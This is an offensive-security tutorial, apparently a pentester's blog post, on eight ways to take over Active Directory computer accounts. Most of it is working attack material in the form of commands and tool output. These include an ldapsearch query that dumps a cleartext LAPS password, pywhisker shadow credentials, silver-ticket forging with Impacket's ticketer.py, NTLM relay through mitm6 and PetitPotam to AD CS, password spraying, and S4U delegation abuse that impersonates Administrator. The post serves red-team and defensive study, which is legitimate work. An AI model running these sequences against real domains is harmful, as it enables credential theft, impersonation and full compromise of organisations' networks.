How to : take over ComputerObject
1. Active Directory Computer Object : A brief overview
The computer account is a Security Principal which is a key part of the Active Directory Services. Each computer or server which is joined to the domain has his own computer account, which is essential for many tasks such as :
- Establish a secure channel for the user authentication
- Deploy a GPO tied to a computer and not a user
- Identify the computer as a workstation, server or domain controller
- Used to access network resources as a low-privileged account
- Unrestricted access to the resources on the local machine …
One thing to keep in mind : the password management of the computer account is delegated to the Active Directory which renders password spraying or Kerberoasting useless in most cases.
2. Different exploitable path to computer account
We will see through this article 8 different way to take control or exploit the different features that may be associated with a computer account.
- Add a computer to the domain
- Read the LAPS attribute
- Shadow credentials
- Password Spraying
- Resource delegation and constrained delegation
- Authentication coercion / DHCP/LLMNR/… spoofing into NTLM relay
Note : The unconstrained delegation will be skipped since it’s going to be a bit out of scope here. Keep in mind though that if you managed to compromise a server with a unconstrained delegation, you virtually compromised the domain.
2.1 Add computer account
Prerequisite : MS-DS-Machine-Account-Quota > 0 for domain users/authenticated users
Tools : RSAT,PowerMad,Standin,Impacket,..
In a default Active Directory environment, the authenticated users are allowed to add up to 10 computer account. This is materialized on the Domain by the ms-DS-MachineAccountQuota attribute. You can get this property value by reading the domain object through ldapsearch :
ldapsearch -H ldap://192.168.1.43 -x -W -D "administrator@test.local" -b "dc=test,dc=local" "(objectclass=domain)" |grep ms-DS-MachineAccountQuota
ms-DS-MachineAccountQuota: 10
For the GUI-fan you can achieve the same through ADSIEdit or ADExplorer :
Nevertheless keep in mind that as time goes by, many companies are setting the ms-DS-MachineAccountQuota to 0 in order to prevent this default behavior. Most of the time this is replaced by the creation of a privileged group/User which has the Create Computer object right on some targeted OU (ex : OU=SpecialComputers,DC=test,DC=local).
Now that we have either the default ms-DS-MachineQuota settings or the AddComputer right we can add our computer object by using one of the available tools such as PowerMad :
# PowerMad : From a launched runas /netonly powershell + Proxifier (SOCKS Proxy for Windows)
New-MachineAccount -Domain test.local -DomainController 192.168.1.43 -MachineAccount UserAddedComputer
Enter a password for the new machine account: ************
[+] Machine account UserAddedComputer added
Or as another example we can user the StandIn tool (you have to use it from a joined computer/beacon):
Please note that we now have control over a computer object (e.g:Owns) and that we can use (we indeed know the password since we set it !) it to leverage new path such as :
- RBCD
- Request Certificate Template only available to Domain Computer
- Access share only available to Domain Computer
- …
2.2 Read LAPS Attribute
Prerequisite : ExtendedAllRights on the Computer Account
Tools : PowerView,ADExplorer
One of the most “common” cases that you can encounter in some kind-of-mature infrastructure will be the deployment of LAPS. This service delegate the password management of the local Administrator to the AD DS which will change the password automatically and have the huge benefits of having unique password for each endpoint managed by LAPS.
The managed Local Administrator password will be stored within the LDAP Attribute ms-mcs-AdmPwd (clear text password) and ms-mcs-AdmPwdExpirationTime (expiration time).
The “Standard” way for an administrator to access the Local Administrator Password would be through powershell or the LAPS UI :
In our case if we happened to control an account to which the Read ms-Mcs-AdmPwd has been delegated we can leverage this in order to compromise our target. This is represented as the edge ReadLAPSPassword :
We have several options to easily read the attribute by using the powershell module AdmPwd or the LAPS UI through Proxifier. Another way would be to simply use ldapsearch such as the following :
ldapsearch -x -h 192.168.1.43 -D lapsreader -w Password1 -b "dc=TEST,dc=LOCAL" "(ms-MCS-AdmPwd=*)"
...
sAMAccountName: WKS1$
sAMAccountType: 805306369
operatingSystem: Windows 10 Enterprise
operatingSystemVersion: 10.0 (18363)
dNSHostName: wks1.test.local
servicePrincipalName: RestrictedKrbHost/WKS1
servicePrincipalName: HOST/WKS1
servicePrincipalName: RestrictedKrbHost/wks1.test.local
servicePrincipalName: HOST/wks1.test.local
objectCategory: CN=Computer,CN=Schema,CN=Configuration,DC=test,DC=local
isCriticalSystemObject: FALSE
dSCorePropagationData: 20220513075736.0Z
dSCorePropagationData: 20220513075458.0Z
dSCorePropagationData: 20220513071618.0Z
dSCorePropagationData: 20220513071552.0Z
dSCorePropagationData: 16010714223649.0Z
lastLogonTimestamp: 132967412711555866
msDS-SupportedEncryptionTypes: 28
ms-Mcs-AdmPwdExpirationTime: 132994927172840387
ms-Mcs-AdmPwd: THD3mAn.+Y5E9Y
...
Note : You can filter out the output to only have the password by simply adding ms-MCS-AdmPwd
Keep in mind that tons of different tools can also do that such as : LapsDumper,enum_laps,pyLAPS,PowerView …
#2.3 Shadow Credentials
Prerequisite Edge : Domain Functional level 2016 + One DC >= 2016 (with his own certificate) and a deployed PKI (ex : AD CS) and ExtendedRights (Write to msDS-KeyCredentialLink), GenericWrite, GenericAll1
Tools : pywhisker,whisker,pkinit
Let’s take a concrete example where you have the WriteOwner privilege over a computer account such as the following :
In order to take the Ownership of this object, we can use the Powerview framework to perform the following tasks :
- Take ownership of the wks1 computer through the edge writeOwner
- Write the proper desired ACL entry : GenericAll over the wks1 computer (we can select the user that suits us the most,we will stick to ownerwks1 here)
# Take ownership of wks1
Set-DomainObjectOwner -OwnerIdentity ownerwks1 -Identity wks1
# Modify the DACL of WKS1 in order to grant ourself the FullControl over the object
Add-DomainObjectAcl -Rights All -TargetIdentity wks1 -PrincipalIdentity ownerwks1 -Verbose
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC1.TEST.LOCAL/DC=TEST,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=ownerwks1)(name=ownerwks1)(displayname=ownerwks1))))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC1.TEST.LOCAL/DC=TEST,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=wks1)(name=wks1)(displayname=wks1))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=ownerwks1,CN=Users,DC=test,DC=local 'All' on
CN=WKS1,OU=ComputerEN,DC=test,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=ownerwks1,CN=Users,DC=test,DC=local rights GUID
'00000000-0000-0000-0000-000000000000' on CN=WKS1,OU=ComputerEN,DC=test,DC=local
After successfully adding the GenericAll ACL to our user on this computer account, two choices are left for us to fully compromise this computer :
- Shadow Credentials (if you’re not familiar with this technic please read this excellent blog post as we will not explain it here)
- RBCD
Change Password
As the RBCD and the Shadow Credentials attacks requires different sorts of prerequisite, you may have to use one or the other from time to time. We’ll use the Shadow Credentials on this one.
In order to perform the Shadow credentials attack, we have to add our cryptographic material to the msDS-KeyCredentialLink attribute of the targeted computer account (we will use pywhisker here).
*Note : If the domain level is < 2016 you will have an * invalid attribute type msDS-KeyCredentialLink error
Once done we can either authenticate ourselves as the computer account by using our pfx certificate2 or retrieve the NT Hash of the targeted computer account by leveraging the PKINIT :
We an now craft our silver ticket to access our target as Domain Administrator :
ticketer.py -nthash 8bdfb5d365a7aca2bfe5e69942c10a34 -domain-sid S-1-5-21-3876195775-1803233878-2707476369 -domain test.local -spn host/WKS1 WKS1\$
Impacket v0.9.24.dev1+20211022.182843.4229481c - Copyright 2021 SecureAuth Corporation
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for test.local/WKS1$
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in WKS1$.ccache
export KRB5CCNAME=WKS1\$.ccache
smbclient.py -no-pass -k TEST.LOCAL/WKS1\$@wks1.test.local
Impacket v0.9.24.dev1+20211022.182843.4229481c - Copyright 2021 SecureAuth Corporation
Type help for list of commands
# use C$
# ls
drw-rw-rw- 0 Mon May 16 10:07:31 2022 $Recycle.Bin
drw-rw-rw- 0 Mon May 16 10:37:18 2022 $WINDOWS.~BT
drw-rw-rw- 0 Sat May 14 00:29:10 2022 $WinREAgent
drw-rw-rw- 0 Wed May 11 10:00:48 2022 Documents and Settings
-rw-rw-rw- 1476395008 Mon May 16 13:21:31 2022 pagefile.sys
drw-rw-rw- 0 Wed May 11 19:55:34 2022 PerfLogs
drw-rw-rw- 0 Sat May 14 00:29:06 2022 Program Files
drw-rw-rw- 0 Wed May 11 13:51:35 2022 Program Files (x86)
drw-rw-rw- 0 Fri May 13 18:47:02 2022 ProgramData
drw-rw-rw- 0 Wed May 11 10:00:55 2022 Recovery
-rw-rw-rw- 268435456 Mon May 16 13:21:31 2022 swapfile.sys
drw-rw-rw- 0 Wed May 11 10:03:37 2022 System Volume Information
drw-rw-rw- 0 Mon May 16 10:06:52 2022 Users
drw-rw-rw- 0 Mon May 16 10:37:22 2022 Windows
Note : [-] SMB SessionError: STATUS_MORE_PROCESSING_REQUIRED({Still Busy} : Likely not the same user between ticketer & smbclient
Note2 : [-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED : If you’re 100% sure about your NT hash, double check that you’re using the FQDN and not the IP for the target
2.4 Force Change computer account password
Prerequisite Edge : ForceChangePassword, GenericAll1
Tools : rpcclient,net
There may be some “extreme” use case when your only option left will be to change the password of the targeted computer account. More precisely when :
- The associated host is offline (RBCD KO) AND no AD CS are available (Template/PKINIT KO)
- The only right present is ForceChangePassword (Very unlikely)
WARNING : Do not exploit it without formal approval as this will most likely break stuff. Only use this option as a last resort when the targeted computer account is some kind of leftover artifact without other ways to exploit it.
This technic will be pretty much straight forward. One thing to note is that you won’t be able to “set” the password by using some GUI stuff (e.g : ADSIEdit,RSAT and so on) as this is not a “normal” administrative behavior. The primitives that let you set the password are well explained in this article (change != set)
One easy way to do it will be to use the net utility tool such as the following :
# 1. Net tool from samba
net rpc password VulnerablePASSW\$ -U "TEST.LOCAL\User" -S 192.168.1.43
Enter new password for VulnerablePASSW$:
Enter TEST.LOCAL\User's password:
2.5 Password spraying
Prerequisite : None
Tools : CrackMapExec,smbclient,…
On the 10th of May Oddvar Moe published an excellent article on pre-created computer accounts. In the end this could allow us to perform some password spraying on specific computer account.
According to his excellent article every computer object that has the box “Pre-Windows 2000 Computer” ticked will initially have a password equal to his name until being used (which will require a password change).
We can narrow down our spraying to the following LDAP filter :
(&(logonCount=0)(userAccountControl=4128))
On the same level, the dsadd tool will initially set a blank password and will not require a password change in order to be used.
If we try to spray this account with dumpwks we should be welcomed by STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT which means the sprayed password was working !
smbclient.py TEST.LOCAL/DumpWKS\$:"dumpwks"@192.168.1.43
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[-] SMB SessionError: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT(The account used is a computer account. Use your global user account or local user account to access this server.)
We just now have to change password of the targeted computer account and we will be able to use it :
As a password spraying may be noisy, an alternative would have been to request a service ticket on the targeted computer account and try to crack them offline … but unfortunately for us the ServicePrincipalName attribute is not populated immediately when the computer account is created “manually” (at least initially while not used on a proper computer).
2.6 NTLM Relay machine account
Prerequisite : Vary depending on the chosen method
Tools : PetitPotam, PrintSpooler,mimt6,responder, ADIDNS Wildcard ..
There is several ways out there to be in position to perform an ntlm relay authentication (Ex : ADIDNS wildcard, Print Spooler, PetitPotam, mitm6 …).
The first popular method that we will go through is the mitm6. First we need to spin up a ipv6 dhcp (e.g :mitm6) which will assign an ipv6 to our target (this may take a while):
Once done we should be able to relay some NTLM over HTTP to the service of our choice (ex : Share,LDAP,AD CS ..).
We will perform a simple delegation to our owned computer account (userAddedComputerAccount) :
From that point we can perform a classic RBCD in order to own that computer ! (see below)
A second popular method at the time of writing would be to use the famous PetitPotam authentication coercion (LSARPC) and relay it to an AD CS (ex : ESC1).
# You'll have to adapt your targeted template depending on what certificate template are published on your network
sudo python3 ntlmrelayx.py -t http://192.168.1.29/certsrv/certfnsh.asp -smb2support --adcs --template Computer
If everything is working fine, you should be granted with the targeted certificate :
Impacket v0.9.24.dev1+20211022.182843.4229481c - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[...]
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Connection from TEST/WKS1$@192.168.1.70 controlled, attacking target http://192.168.1.35
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.1.35 as TEST/WKS1$ SUCCEED
[*] SMBD-Thread-4: Connection from TEST/WKS1$@192.168.1.70 controlled, attacking target http://192.168.1.35
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.1.35 as TEST/WKS1$ SUCCEED
[*] SMBD-Thread-4: Connection from TEST/WKS1$@192.168.1.70 controlled, attacking target http://192.168.1.35
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.1.35 as TEST/WKS1$ SUCCEED
[*] SMBD-Thread-4: Connection from TEST/WKS1$@192.168.1.70 controlled, attacking target http://192.168.1.35
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.1.35 as TEST/WKS1$ SUCCEED
[*] SMBD-Thread-4: Connection from TEST/WKS1$@192.168.1.70 controlled, attacking target http://192.168.1.35
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.1.35 as TEST/WKS1$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[...]
[*] GOT CERTIFICATE !
[*] Base64 certificate of user WKS1$:
......
From that point onward, you can use that certificate to authenticate against LDAPS or go through the Kerberos PKINIT process to retrieve the NT hash and forge a Silver Ticket
Note : You can also check that your target has the WebDav service running with webdavscanner. If so, you’ll be able to use PetitPotam to have a WebDav + NTLM package to relay to the target of your choice (WebDav == No signing)
Note 2 : PetitPotam may still be exploitable in the wild for a little longer than expected : https://twitter.com/raphajohnsec/status/1524088436809940995
2.7 Resource Based Constrained Delegation
Prerequisite : One machine account AND GenericAll,AlowedToAct,WriteAllowedToAct1
Tools : RSAT,PowerMad,Standin,Impacket,..
Most of the time when you’ll encounter a RBCD path in the wild it will be exploitable through the GeneriAll/GenericWrite or AllowedToAct privilege to a computer object. We won’t go to deep in the details here,but please note that this attack does require that you own a computer account. Most of the time i’ll be one of those three cases that we saw :
- Add a computer account through the ms-DS-MachineQuota privilege.
- Perform a privilege escalation on your current workstation/server to own the computer account.
- NTLM relay through some authentication coercion (ex: PetitPotam or PrintSpooler) or other less prevalent means (ex : “Exploit” a specific app by changing some configuration files, Wildcard on ADiDns, ..).
The msDS-AllowedToActOnBehalfOfOtherIdentity attribute is the heart of the resource-based delegation attack. Indeed to quickly summarize the RBCD : Each resource written within this LDAP attribute will be allowed to impersonate any user on this computer.
Let’s exploit the following path where we have the GenericWrite right on the VulnerableRBCDWKS such as below :
# 1. Create the computer account
addcomputer.py -dc-ip 192.168.1.66 test.local/user:Password1
Impacket v0.9.24.dev1+20211022.182843.4229481c - Copyright 2021 SecureAuth Corporation
[*] Successfully added machine account DESKTOP-RC2Q4TMN$ with password Uz49H1uBMBhwHxF04PDenbaDc1z0rvav.
# 2. Populate the property msDS-AllowedToActOnBehalfOfOtherIdentity
# 3. Obtain a Service Ticket through S4U2Proxy & S24U2Self
getST.py -spn cifs/cs.test.local -dc-ip 192.168.1.66 -impersonate Administrator TEST.LOCAL/MALICIOUS$:Password20
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
We can now access the cs.test.local server by usurping the user Administrator !
Note : If you have a KRB_AP_ERR_SKEW you should run ntpdate against the DC to fix your clock skew
Another common use case will be to relay a computer authentication (through coercion) packet to write the property AllowedToActOnBehalfOfOtherIdentity.
Please note that due to the SMB signing most likely being enforced you will have to find a way to relay a communication without any signing (ex: WebDav)
Update 16/05 : Tiraniddo posted a fantastic blog post to perform an RBCD attack using a user account instead of a computer account.
2.8 Contrained delegation
Prerequisites : Populated msDS-AllowedToDeletaTo OR right to write this LDAP attribute 1
Tools : Rubeus,Impacket,Kekeo, ..
Our last case will be the Constrained Delegation. When you are in control of a computer account to which some constrained delegation has been performed, you will be able to exploit it and take control of the target.
Let’s take the following example where SRV1 have some constrained delegation enforced to the CS server :
ldapsearch -H ldap://192.168.1.66 -x -W -D "administrator@test.local" -b "dc=test,dc=local" "(msDS-AllowedToDelegateTo=*)"
dn: CN=SRV1,CN=Computers,DC=test,DC=local
[...]
objectCategory: CN=Computer,CN=Schema,CN=Configuration,DC=test,DC=local
isCriticalSystemObject: FALSE
dSCorePropagationData: 16010101000000.0Z
msDS-AllowedToDelegateTo: HOST/cs.test.local
msDS-AllowedToDelegateTo: HOST/CS
msDS-AllowedToDelegateTo: cifs/cs.test.local
msDS-AllowedToDelegateTo: cifs/CS
Through some privilege escalation on the WKS1 you’ve been able to retrieve the NT hash or the password of the computer account (ex: LSASS Dump, SAM dump, ..).
We are now in position to exploit this delegation by getting an ST through the S4u2Proxy :
getST.py -spn cifs/cs.test.local -impersonate ownerwks1 TEST.LOCAL/SRV1\$ -hashes :885896e95ad95ad21d3435f08a68f684
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating ownerwks1
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in ownerwks1.ccache
export KRB5CCNAME=ownerwks1.ccache
smbclient.py -k -no-pass cs.test.local
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
Type help for list of commands
# use C$
# ls
drw-rw-rw- 0 Wed May 18 11:38:53 2022 $Recycle.Bin
-rw-rw-rw- 389332 Wed May 18 21:25:12 2022 bootmgr
-rw-rw-rw- 1 Wed May 18 21:25:12 2022 BOOTNXT
drw-rw-rw- 0 Wed May 18 11:29:25 2022 Documents and Settings
drw-rw-rw- 0 Wed May 18 11:40:33 2022 inetpub
-rw-rw-rw- 1476395008 Wed May 18 11:38:10 2022 pagefile.sys
drw-rw-rw- 0 Wed May 18 21:27:34 2022 PerfLogs
drw-rw-rw- 0 Wed May 18 21:27:34 2022 Program Files
drw-rw-rw- 0 Wed May 18 21:27:34 2022 Program Files (x86)
drw-rw-rw- 0 Wed May 18 22:09:18 2022 ProgramData
drw-rw-rw- 0 Wed May 18 11:29:30 2022 Recovery
drw-rw-rw- 0 Wed May 18 20:28:37 2022 System Volume Information
drw-rw-rw- 0 Wed May 18 11:41:13 2022 Users
drw-rw-rw- 0 Wed May 18 12:00:52 2022 Windows
#
Note : Obviously you have to impersonate a privileged account on the targeted server to access the administrative share. Here we knew that ownerwks1 was part of the local Administrators group.
3. Resources
https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/ https://www.thehacker.recipes/ad/movement/kerberos/spn-jacking https://securityboulevard.com/2022/02/spn-jacking-an-edge-case-in-writespn-abuse/ https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/ https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/service-accounts-computer